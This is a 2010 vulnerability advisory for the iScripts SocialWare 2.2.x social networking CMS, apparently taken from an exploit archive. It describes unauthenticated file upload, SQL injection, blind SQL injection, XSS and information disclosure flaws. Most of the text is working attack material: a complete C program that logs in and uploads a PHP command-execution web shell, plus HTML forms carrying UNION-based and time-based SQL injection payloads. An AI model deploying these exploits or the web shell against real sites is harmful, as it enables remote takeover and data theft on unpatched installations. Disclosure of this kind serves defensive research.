1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 |
/*iScripts SocialWare 2.2.x Multiple Remote Vulnerability NameiScripts SocialWare Vendorhttp://www.iscripts.com Versions Affected 2.2.x AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-03-07 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION iScriptsSocialWareisanaward-winning,easy to use socialnetworkingsoftwarethatenables you to create yourown social network like MySpace, Orkut, Friendster, Linkedin, Facebook, Hi5, etc. II. DESCRIPTION ThisCMSisaffected by multiple remote security flaws, such as SQL Injection, Arbitrary File upload, etc. These security flaws DO NOT require authentication. Other files may be vulnerable. III. ANALYSIS Summary: A) Multiple Arbitrary File Upload B) Multiple SQL Injection C) Multiple Blind SQL Injection D) Multiple Reflected and Stored XSS E) Information Disclosure A) Multiple Arbitrary File Upload The file's extension of the file senttojobs.php?step=4 usingthetxtResume parameter is not properly sanitised. Thedestinationfolderisjobs/resume, permission 777. There is no extension restriction. AnotherArbitraryFileUploadflawwasreported in a previous security advisory (2010-07-02): http://www.salvatorefresta.net/files/adv/iScripts%20SocialWare%202.2.x%20Arbitrary%20File%20Upload%20Vulnerability-02072010.txt event/function.phpis affected by the same arbitrary file upload flaw reported in the previous security flaws. It is possibletouploadaphpfileif the Content-Type is image/jpeg or image/gif and the file's extension is php5. The destination directory is event_category. manage_music.php is affectedby the same flaw reported in the previoussecurityadvisory. It is possible to upload aphpfileiftheContent-Type is allowed (audio/mpeg etc.). The destination directory is music/files. Also manage_videos.php,album.php (function.php), manage_networks.php use the same vulnerable upload method. B) Multiple SQL Injection event_thereactive.phpisincluded by events.php when the action parameter is set to show. In this script, the id parameter is not properly sanitised before being used in a SQL query.Toview the information without be redirected toanotherpagefromevents.php, the injection must be sent using the POST method instead of the GET method. This is possible because in the affected file, the id parameter is readed using the $_REQUEST array. event_create2.php is affected by the same bug.To exploit it, the action parameter must be set to create2. C) Multiple Blind SQL Injection TheId parameter in function.php when $_POST['status'] is settocreate2 is not properly sanitised before being usedina SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The affected query types are respectively an UPDATE anda SELECT. D) Multiple Reflected and Stored XSS Allformsthat allowHTML tags are vulnerable to stored XSS.Thereasonisthattherearenochecksabout javascript tags. Many reflected XSSare allowed but it is impossible use single/double quotes because of the escape. E) Information Disclosure phpinfo.php executes thePHPfunction'sphpinfo()that printsalotofinformationabout the server and path names. IV. SAMPLE CODE A) Multiple Arbitrary File Upload Go to jobs.php?step=4 and try to upload any file. http://www.salvatorefresta.net/files/poc/PoC-iScriptsSW22.c */ /* Poc Remote Shell Upload - iScripts SocialWare 2.2.x Author: Salvatore Fresta aka Drosophila E-mail: salvatorefresta@gmail.com Date: 02 July 2010 This Proof of Concept will upload a simple php shell (evil.php5) in member_photos. Compile on Unix-like systems: gcc PoC-FC213.c -o PoC-FC213 Compile on Microsoft Windows: gcc PoC-FC213.c -lws2_32 -o PoC-FC213 ./PoC-FC213 --host hostname --path /path/ -u username -p password [*] Connecting... [+] Connected [*] Login... [+] Login Successful [*] Uploading... [+] Shell uploaded [+] Connection closed */ #include <string.h> #include <stdlib.h> #include <stdio.h> #include <stdarg.h> #include <getopt.h> #ifdef WIN32 #include <winsock.h> #define close closesocket #else #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #endif int vspr(char **buff, char *fmt, ...) { va_list ap; int len, mlen; char*ret = NULL; mlen = strlen(fmt) + 128; va_start(ap, fmt); while(1) { ret = (char *) malloc(mlen); if(!ret) return -1; len = vsnprintf(ret, mlen, fmt, ap); if((len >= 0) && (len < mlen)) break; mlen = len < 0 ? mlen+128 : len+1; free(ret); } va_end(ap); *buff = ret; return len; } int socket_connect(char *server, int port) { int fd; struct sockaddr_in sock; struct hostent *host; #ifdef WIN32 WSADATA wsadata; if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1; #endif memset(&sock, 0, sizeof(sock)); if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; sock.sin_family = AF_INET; sock.sin_port = htons(port); if(!(host=gethostbyname(server))) return -1; sock.sin_addr = *((struct in_addr *)host->h_addr); if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1; return fd; } char *socket_receive(int sock, int tout) { int ret, byte, oldpkglen = 0, pkglen = 0; char *buffer = NULL, tmp[128]; struct timeval timeout; fd_set input; if(sock < 0) return NULL; while (1) { FD_ZERO(&input); FD_SET(sock, &input); if(tout > 0) { timeout.tv_sec= tout; timeout.tv_usec = 0; ret = select(sock + 1, &input, NULL, NULL, &timeout); } else ret = select(sock + 1, &input, NULL, NULL, NULL); if (!ret) break; if (ret < 0) return NULL; byte = recv(sock, tmp, sizeof(tmp), 0); if(byte < 0) return NULL; if(!byte) break; oldpkglen = pkglen; pkglen += byte; buffer = (char *) realloc(buffer, pkglen+1); if(!buffer) return NULL; memcpy(buffer+oldpkglen, tmp, byte); } if(buffer) buffer[pkglen] = 0; return buffer; } void usage(char *cmd) { printf("\nPoC Remote Shell Upload - iScripts SocialWare 2.2.x\n" "Written by Salvatore Fresta\n\n" "usage: %s [options]\n" "\n" "Required options:\n" "\n" "\t--host : Target hostname\n" "\t--port : Remote TCP Port (default 80)\n" "\t--path : Webserver path (ex: /path/ or /)\n" "\t--username : Registered username\n" "\t--password : Password for username\n\n" "Example: %s --host localhost --path /path/ -u mario@mail.net -p rossi\n\n", cmd, cmd); } int main(int argc, char *argv[]) { int sd, option, optidx, port = 80, clen, pkglen; char *buffer= NULL, *rec = NULL, *session = NULL, *host= NULL, *path= NULL, *user= NULL, *passwd= NULL, code[] = "--AaB03x\r\n" "Content-Disposition: form-data; name=\"photo\"; filename=\"evil.php5\"\r\n" "Content-Type: image/jpeg\r\n" "\r\n" "<?php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre>\"?>\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"Call\"\r\n" "\r\n" "add\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"photoType\"\r\n" "\r\n" "P\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"image.x\"\r\n" "\r\n" "8\r\n" "--AaB03x\r\n" "Content-Disposition: form-data; name=\"image.y\"\r\n" "\r\n" "5\r\n" "--AaB03x--\r\n"; struct option long_options[] = { {"host", 1, 0,1 }, {"port", 1, 0,2 }, {"path", 1, 0,3 }, {"username", 1, 0, 'u'}, {"password", 1, 0, 'p'}, {NULL, 0, 0,0 }, }; if(argc < 2) { usage(argv[0]); return -1; } while((option = getopt_long(argc, argv, "u:p:", long_options, &optidx)) > 0) { switch(option) { case 1: host = optarg; break; case 2: port = atoi(optarg); break; case 3: path = optarg; break; case 'u': user = optarg; break; case 'p': passwd = optarg; break; default: usage(argv[0]); return -1; break; } } if(!host || !path || !user || !passwd || port < 0) { usage(argv[0]); return -1; } printf("\n[*] Connecting...\n"); if((sd = socket_connect(host, port)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } printf("[+] Connected" "\n[*] Login..."); clen = strlen(user)+strlen(passwd)+16; pkglen = vspr(&buffer, "POST %scheck_login.php HTTP/1.1\r\n" "Host: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n" "\r\n" "email=%s&password=%s", path, host, clen, user, passwd); if(send(sd, buffer, pkglen, 0) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 0))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(strstr(rec, "Password is invalid")) { printf("\n[-] Login Incorrect!\n\n"); free(buffer); close(sd); return -1; } session = strstr(rec, "PHPSESSID"); if(!session) { printf("\n[-] Session error!\n\n"); free(buffer); close(sd); return -1; } session = strtok(session, ";"); if(!session) { printf("\n[-] Session error!\n\n"); free(buffer); close(sd); return -1; } printf("\n[+] Login Successful" "\n[*] Uploading...\n"); close(sd); if((sd = socket_connect(host, port)) < 0) { printf("[-] Connection failed!\n\n"); free(buffer); return -1; } free(buffer); clen = strlen(code); pkglen = vspr(&buffer, "POST %spopups/photos.php HTTP/1.1\r\n" "Host: %s\r\n" "Cookie: %s\r\n" "Content-type: multipart/form-data, boundary=AaB03x\r\n" "Content-Length: %d\r\n" "\r\n" "%s", path, host, session, clen, code); if(send(sd, buffer, pkglen, 0) < 0) { printf("[-] Sending failed!\n\n"); free(buffer); close(sd); return -1; } if(!(rec = socket_receive(sd, 3))) { printf("[-] Receive failed!\n\n"); free(buffer); close(sd); return -1; } if(!strstr(rec, "evil.php5")) { printf("\n[-] Upload failed!\n\n"); free(buffer); close(sd); return -1; } free(buffer); close(sd); printf("[+] Shell uploaded" "\n[+] Connection closed\n\n"); return 0; } /* B) Multiple SQL Injection <html> <head> <title>PoC - SocialWare 2.2.x SQL Injection</title> </head> <body> <form method="POST" action="http://site/path/events.php?action=show"> <input type="hidden" name="id" value="-1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29"> <input type="submit"> </form> </body> </html> C) Multiple Blind SQL Injection <html> <head> <title>PoC - SocialWare 2.2.x Blind SQL Injection</title> </head> <body> <form method="POST" action="http://site/path/event/function.php"> <input type="hidden" name="status" value="create2"> <input type="hidden" name="Id" value="-1 OR (SELECT(IF(ASCII(0x41) = 65,BENCHMARK(999999999,NULL),NULL)))"> <input type="submit"> </form> </body> </html> E) Information Disclosure http://site/path/phpinfo.php V. FIX No Fix. */ |